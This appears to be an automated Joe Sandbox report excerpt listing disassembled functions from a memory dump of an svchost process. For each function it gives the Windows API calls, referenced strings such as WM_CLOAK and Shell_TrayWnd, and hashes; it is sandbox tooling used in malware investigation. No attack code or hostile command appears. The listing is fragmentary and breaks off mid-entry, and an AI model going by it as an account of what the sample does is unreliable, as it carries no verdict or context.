CallNextHookEx.USER32(?,?,?,?), ref: 03E3A63D
CallNextHookEx.USER32(00000000,?,?,?), ref: 03E3A655
GetWindowLongA.USER32(?,000000F0), ref: 03E3A6B8
PostMessageA.USER32(?,0000001F,00000000,00000000), ref: 03E3A882
GetSystemMenu.USER32(?,00000000,?,000000F0,00000000,03E3A8FF,?,00000000,?,?,?,00000000,03E3A938), ref: 03E3A8AE

Strings

CabinetWClass, xrefs: 03E3A865

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: CallHookNext$LongMenuMessagePostSystemWindow
String ID: CabinetWClass
API String ID: 776588294-1981833947
Opcode ID: fdf74c5af3a33b01fd1b0657ed6913ecf56e064f815006f765946aa354b82c00
Instruction ID: 3c25c4954bbc90a7ffa1de2d6ebd178998cbca19f7419208a38add636fbaacf0
Opcode Fuzzy Hash: fdf74c5af3a33b01fd1b0657ed6913ecf56e064f815006f765946aa354b82c00
Instruction Fuzzy Hash: CFA1B039A00309EFDB14DF58D889EA9B7F5EF0A314F1596A0E985AB761C730E981CB10

Function 03E3A36C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(000000FF,000000FF), ref: 03E3A38F
SetProcessWorkingSetSize.KERNEL32(00000000,000000FF,000000FF), ref: 03E3A395

Strings

WM_UNCLOAK, xrefs: 03E3A41E
WM_CLOAK, xrefs: 03E3A403

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: Process$CurrentSizeWorking
String ID: WM_CLOAK$WM_UNCLOAK
API String ID: 2122760700-2187480440
Opcode ID: bacacd42f4fa91638426a15ad7b1be1379faebde21a8cd24b59e55e43a5ec49e
Instruction ID: df02de288312bcef67ff7f9362bd9a113ec0bd6e7d4838c2643eb3b62c702b36
Opcode Fuzzy Hash: bacacd42f4fa91638426a15ad7b1be1379faebde21a8cd24b59e55e43a5ec49e
Instruction Fuzzy Hash: 4421CC38604248DFCB10EB59D48DD5CB7F1AF0A314F65A7A1E852AB3A1D731ED81DB11

Function 03E37198 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 03E37000: VirtualQuery.KERNEL32(?,?,0000001C), ref: 03E3701C
Part of subcall function 03E37000: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03E37040
Part of subcall function 03E37000: GetModuleFileNameA.KERNEL32(03E30000,?,00000105), ref: 03E3705B
Part of subcall function 03E37000: LoadStringA.USER32(00000000,0000FFE7,?,00000100), ref: 03E370FF

CharToOemA.USER32(?,?), ref: 03E371CF
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 03E371EC
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03E371F2
GetStdHandle.KERNEL32(000000F4,03E3725C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03E37207
WriteFile.KERNEL32(00000000,000000F4,03E3725C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03E3720D
LoadStringA.USER32(00000000,0000FFE8,?,00000040), ref: 03E3722F
MessageBoxA.USER32(00000000,?,?,00002010), ref: 03E37245

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: cbb5155528f5a7dd699de107d61d5b09b3ba6fb9aa162e446fbf0c0326b4b028
Instruction ID: 3c1523f4629d0984b433b4ae6d96438be50c8988c71521e05429f151a3e9ebdc
Opcode Fuzzy Hash: cbb5155528f5a7dd699de107d61d5b09b3ba6fb9aa162e446fbf0c0326b4b028
Instruction Fuzzy Hash: EB115EBA108304AED300F7A6CC89F9F77EC6B46600F402715B354EB0D1DA31E904CB62

Function 03E38904 Relevance: 10.5, APIs: 7, Instructions: 38threadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000), ref: 03E3890F
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 03E38915
GetCurrentThreadId.KERNEL32 ref: 03E38923
AttachThreadInput.USER32(00000000,?,000000FF), ref: 03E38929
SetFocus.USER32(?,00000000,03E3896A,?,00000000,?,000000FF), ref: 03E38940
GetCurrentThreadId.KERNEL32 ref: 03E3895E
AttachThreadInput.USER32(00000000,?,00000000,03E38971,03E3896A,?,00000000,?,000000FF), ref: 03E38964

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: Thread$AttachCurrentInputWindow$FocusForegroundProcess
String ID:
API String ID: 440050021-0
Opcode ID: 97a5b05f015d2545fdbaa4c5066f72880a4098adf0221d545ad36ad8355a1a9f
Instruction ID: f37236d34e7aade5542e2b6c436e5c32141005d5a9f8255d9afe1cd80713c6fd
Opcode Fuzzy Hash: 97a5b05f015d2545fdbaa4c5066f72880a4098adf0221d545ad36ad8355a1a9f
Instruction Fuzzy Hash: C2F01279E04344BEDB11EBF68C1996E77ACDB4A620F525660B520EB5C0D6359910CA11

Function 03E398F4 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll), ref: 03E398FD
GetProcAddress.KERNEL32(00000000,SwitchToThisWindow), ref: 03E39914
GetProcAddress.KERNEL32(00000000,ChangeWindowMessageFilter), ref: 03E39927

Strings

user32.dll, xrefs: 03E398F8
ChangeWindowMessageFilter, xrefs: 03E3991E
SwitchToThisWindow, xrefs: 03E3990B

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ChangeWindowMessageFilter$SwitchToThisWindow$user32.dll
API String ID: 667068680-2021927898
Opcode ID: e0b07087b98671536b5b0a5974167c5832d19c11267e81405a5b0331923a73a5
Instruction ID: c147dba891d3fd90cba0090a9a5d85f2cc44bd22ff7f8da3b8010a8c055991db
Opcode Fuzzy Hash: e0b07087b98671536b5b0a5974167c5832d19c11267e81405a5b0331923a73a5
Instruction Fuzzy Hash: 1EF01CB2905308EEDB00FFBBA94D69A77F8DB01514B141695E0189B251E7B06900CB10

Function 03E31ABC Relevance: 9.1, APIs: 6, Instructions: 72COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(Function_0000D5C4,00000000,03E31BB0), ref: 03E31AEB
LocalFree.KERNEL32(00000000,00000000,03E31BB0), ref: 03E31AFD
VirtualFree.KERNEL32(?,00000000,00008000,00000000,00000000,03E31BB0), ref: 03E31B21
LocalFree.KERNEL32(00000000,?,00000000,00008000,00000000,00000000,03E31BB0), ref: 03E31B72
RtlLeaveCriticalSection.KERNEL32(Function_0000D5C4,03E31BB7,00000000,00000000,03E31BB0), ref: 03E31BA0
RtlDeleteCriticalSection.KERNEL32(Function_0000D5C4,03E31BB7,00000000,00000000,03E31BB0), ref: 03E31BAA

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: f743af0b18dfa3ed5a23374cd2d53fc59de07804623018730f6baf2c0fec996d
Instruction ID: 3d35fc62428985e93368d40339bec51adcb72c6fc1f370d370a503e3d59f8d60
Opcode Fuzzy Hash: f743af0b18dfa3ed5a23374cd2d53fc59de07804623018730f6baf2c0fec996d
Instruction Fuzzy Hash: CC214C74A08748EFDB11FBA9D84DB9ABBF4EB0B708F146399E4009B690D6749940EF14

Function 03E34ABD Relevance: 9.0, APIs: 6, Instructions: 41threadCOMMON

Download Yara Rule

APIs

Part of subcall function 03E32F6C: GetKeyboardType.USER32(00000000), ref: 03E32F71
Part of subcall function 03E32F6C: GetKeyboardType.USER32(00000001), ref: 03E32F7D

GetCommandLineA.KERNEL32 ref: 03E34B23
GetVersion.KERNEL32 ref: 03E34B37
GetVersion.KERNEL32 ref: 03E34B48
GetCurrentThreadId.KERNEL32 ref: 03E34B84

Part of subcall function 03E32F9C: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E32FBE
Part of subcall function 03E32F9C: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,03E3300D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E32FF1
Part of subcall function 03E32F9C: RegCloseKey.ADVAPI32(?,03E33014,00000000,?,00000004,00000000,03E3300D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E33007

GetThreadLocale.KERNEL32 ref: 03E34B64

Part of subcall function 03E349F4: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,03E34A5A), ref: 03E34A1A

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: KeyboardLocaleThreadTypeVersion$CloseCommandCurrentInfoLineOpenQueryValue
String ID:
API String ID: 3734044017-0
Opcode ID: 53797f057a0c22b2cb5a3e06c843ef645a830fe852788c73a455ebf0b56772e8
Instruction ID: 84ca3d71978bd75236454497937b683ce17718ecdedec2366af0cedc1e414135
Opcode Fuzzy Hash: 53797f057a0c22b2cb5a3e06c843ef645a830fe852788c73a455ebf0b56772e8
Instruction Fuzzy Hash: C40180A9408399D9DB11FF73988D3DA3A61AF13744F14775D80405E399E7394145CF62

Function 03E32F9C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E32FBE
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,03E3300D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E32FF1
RegCloseKey.ADVAPI32(?,03E33014,00000000,?,00000004,00000000,03E3300D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E33007

Strings

FPUMaskValue, xrefs: 03E32FE8
SOFTWARE\Borland\Delphi\RTL, xrefs: 03E32FB4

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: abdd756626b98141ef79555a4a9e903fb89b7fcf554bb413a63df564a6c36b09
Instruction ID: 0b51058467841b43481f4048a692edef5fe58c0adc2c92cc9826cbe294de9c68
Opcode Fuzzy Hash: abdd756626b98141ef79555a4a9e903fb89b7fcf554bb413a63df564a6c36b09
Instruction Fuzzy Hash: D201D87D900348BEDB21EBD0CD46FEDB7BCDB05B00F1002A5BA14E7580E6759510DB64

Function 03E39A3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,000000FA), ref: 03E39A63
CompareStringA.KERNEL32(00000400,00000001,?,?,Shell_TrayWnd,0000000D,?,?,000000FA), ref: 03E39A84
CompareStringA.KERNEL32(00000400,00000001,?,?,SysPager,00000008,00000400,00000001,?,?,Shell_TrayWnd,0000000D,?,?,000000FA), ref: 03E39AA7

Strings

Shell_TrayWnd, xrefs: 03E39A6D
SysPager, xrefs: 03E39A90

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: CompareString$ClassName
String ID: Shell_TrayWnd$SysPager
API String ID: 3699413841-3765525915
Opcode ID: c17d1d1da51cbf3787cbf987cdfcfaff9ab4153940c553da0955b7c6d01a1480
Instruction ID: 00069a737dee63874101f19799a1c6f76ac489f8a4032fc20c6a90f7ec0dbf3e
Opcode Fuzzy Hash: c17d1d1da51cbf3787cbf987cdfcfaff9ab4153940c553da0955b7c6d01a1480
Instruction Fuzzy Hash: C901FF75A44248BADB20DBD48C46FEEB3B89B16700F045391BA55EB281D7F15A40DF51

Function 03E36D1C Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,03E36DB3,?,?,00000000), ref: 03E36D34

Part of subcall function 03E36A94: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03E36AB2

GetThreadLocale.KERNEL32(00000000,00000004,00000000,03E36DB3,?,?,00000000), ref: 03E36D64
EnumCalendarInfoA.KERNEL32(Function_00006C68,00000000,00000000,00000004), ref: 03E36D6F
GetThreadLocale.KERNEL32(00000000,00000003,00000000,03E36DB3,?,?,00000000), ref: 03E36D8D
EnumCalendarInfoA.KERNEL32(Function_00006CA4,00000000,00000000,00000003), ref: 03E36D98

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 5d39138ffed0c839060dd5c20a5f9f7424df2c91f11e5e54be7d0ba1c5ddcd7c
Instruction ID: c18e671fefcf49bc0f80f41af5e7b6a064c5f52ce06e6a89e98e2f41db562524
Opcode Fuzzy Hash: 5d39138ffed0c839060dd5c20a5f9f7424df2c91f11e5e54be7d0ba1c5ddcd7c
Instruction Fuzzy Hash: 1D01D479240708BED301F6B5CC4AF6E35ACDB43B20F912760E410EF6C4D6749E00C565

Function 03E36DDD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,03E36F96,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 03E36DFB

Part of subcall function 03E36A94: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03E36AB2

Strings

eeee, xrefs: 03E36F06
ggg, xrefs: 03E36EE0
yyyy, xrefs: 03E36EED

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 14d6f72e47e31ad80f3850b647f5c5795d0be09a12afd98d1bb5a56a5216af1d
Instruction ID: 2fb384a9f4030cdf0cf1a7b7de5609c51799bd426788a2b4cfb5c07382dd32d7
Opcode Fuzzy Hash: 14d6f72e47e31ad80f3850b647f5c5795d0be09a12afd98d1bb5a56a5216af1d
Instruction Fuzzy Hash: 8941AF29704A056BC711EF79C8DC6FEF2B6EB87204FA43765E442AB344D725EA06C621

Function 03E38270 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,03E38781,00000000,03E38794), ref: 03E38276
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 03E38287

Strings

GetDiskFreeSpaceExA, xrefs: 03E38281
kernel32.dll, xrefs: 03E38271

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 5243a68da49ee02dec8a8eee4c44b36ac3ceca18a1e888b946e1f5c1a1aa7be9
Instruction ID: c772fcede3d97a74f2403b57cf9933309ea2282838aeba1dad66a5d82c52b219
Opcode Fuzzy Hash: 5243a68da49ee02dec8a8eee4c44b36ac3ceca18a1e888b946e1f5c1a1aa7be9
Instruction Fuzzy Hash: 44D05EB220979A4EDB00EAA7D8CCB9621689F4B104B313324F43479141EA74C4ACCA00

Function 03E37000 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 03E3701C
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03E37040
GetModuleFileNameA.KERNEL32(03E30000,?,00000105), ref: 03E3705B
LoadStringA.USER32(00000000,0000FFE7,?,00000100), ref: 03E370FF

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: b3074ffe284d91f638c87374c6f4ffbe122223c615cfe0f3de58067210485ebd
Instruction ID: 6e16f87477f7161afbbd5de9e1da26f42304bf98b05db50a54c1d7656fc6333c
Opcode Fuzzy Hash: b3074ffe284d91f638c87374c6f4ffbe122223c615cfe0f3de58067210485ebd
Instruction Fuzzy Hash: 1141FEB5A0025C9FDB21EB69CC88BDEB7F9AB0A304F4452E5A508EB241D7749F84CF51

Function 03E36FFE Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 03E3701C
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03E37040
GetModuleFileNameA.KERNEL32(03E30000,?,00000105), ref: 03E3705B
LoadStringA.USER32(00000000,0000FFE7,?,00000100), ref: 03E370FF

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: c6005ed739661d01dea6441276eca1a3294f204f60782bacfa3415bf0da49b01
Instruction ID: e9c791cc88252ee74d97494cb11d79ca95c7573d2605a7727a1b0ddca8fdf16e
Opcode Fuzzy Hash: c6005ed739661d01dea6441276eca1a3294f204f60782bacfa3415bf0da49b01
Instruction Fuzzy Hash: 09411DB5A0025C9FDB21EB69CC88BDEB7F9AB0A204F4452E5A508EB241D7749F84CF51

Function 03E37D24 Relevance: 6.1, APIs: 4, Instructions: 97threadCOMMON

Download Yara Rule

APIs

GetStringTypeA.KERNEL32(00000809,00000002,?,00000080,?), ref: 03E37E1E
GetThreadLocale.KERNEL32 ref: 03E37D4E

Part of subcall function 03E37CAC: GetCPInfo.KERNEL32(00000000,?), ref: 03E37CC5

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: InfoLocaleStringThreadType
String ID:
API String ID: 1505017576-0
Opcode ID: c70e154ea09bcc56bd44360409151a74330964548f19a32559b5f9b660e9ee15
Instruction ID: 8a3635915a1a97aaf4e60be28f549a06e74f8ee2f72af26dfd71c7dd739c9626
Opcode Fuzzy Hash: c70e154ea09bcc56bd44360409151a74330964548f19a32559b5f9b660e9ee15
Instruction Fuzzy Hash: 3F3107A15013A8DAD722EB77AC0D3A777F8EB83208F485359D5848F2C5DB354844CB61

Function 03E39238 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?), ref: 03E39266
SetLastError.KERNEL32(00000000,?), ref: 03E39273
GetModuleHandleExA.KERNEL32(00000006,03E39238,?,00000000,?), ref: 03E39283
GetLastError.KERNEL32(00000006,03E39238,?,00000000,?), ref: 03E392A8

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: ErrorLast$HandleModule
String ID:
API String ID: 1090667551-0
Opcode ID: 2487f92d6b94e1f8fe7daf521ec0e26ce1a6626155e602586cd1e3c906f4f952
Instruction ID: 1177c059057d9c621da7baba1877315f62e829791363815a48b1181736406eb0
Opcode Fuzzy Hash: 2487f92d6b94e1f8fe7daf521ec0e26ce1a6626155e602586cd1e3c906f4f952
Instruction Fuzzy Hash: 45113C78E08748AFCB40DFA5C484AADFBF5BF49220F1596D5D854AB342E3B09A40CF90

Function 03E3A45C Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

GetWindowInfo.USER32(03E3A53E,?), ref: 03E3A46D
GetSystemMetrics.USER32(00000021), ref: 03E3A480
GetSystemMetrics.USER32(00000033), ref: 03E3A49B
GetSystemMetrics.USER32(00000004), ref: 03E3A4A7

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: MetricsSystem$InfoWindow
String ID:
API String ID: 2832802444-0
Opcode ID: 215f2ad0ab65d35a76683250377d077abb9d391f45812362298032b999570b6a
Instruction ID: 47bc49de90ed04594d7011a49ecd0d5b3dc78756596661c0c458e1276d7dfbc2
Opcode Fuzzy Hash: 215f2ad0ab65d35a76683250377d077abb9d391f45812362298032b999570b6a
Instruction Fuzzy Hash: C5F05475D0130DAFDB40EFE5C94D6DDB7B8AF16250F1053A5A544EF280E6319A84CB51

Function 03E39E3C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25windowCOMMON

Download Yara Rule

APIs

Part of subcall function 03E39C74: LoadLibraryA.KERNEL32(kernel32.dll,?), ref: 03E39CA7
Part of subcall function 03E39C74: GetProcAddress.KERNEL32(76680000,GetProcAddress), ref: 03E39CBC
Part of subcall function 03E39C74: LoadLibraryA.KERNEL32(user32.dll,?), ref: 03E39CD4
Part of subcall function 03E39C74: GetProcAddress.KERNEL32(767A0000,00000000), ref: 03E39CF6

GetCurrentProcessId.KERNEL32(03E39DA2,?,?,03E39DA2), ref: 03E39E63
PostMessageA.USER32(?,?,00000000,03E39DA2), ref: 03E39E7B

Strings

PostMessageA, xrefs: 03E39E48

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
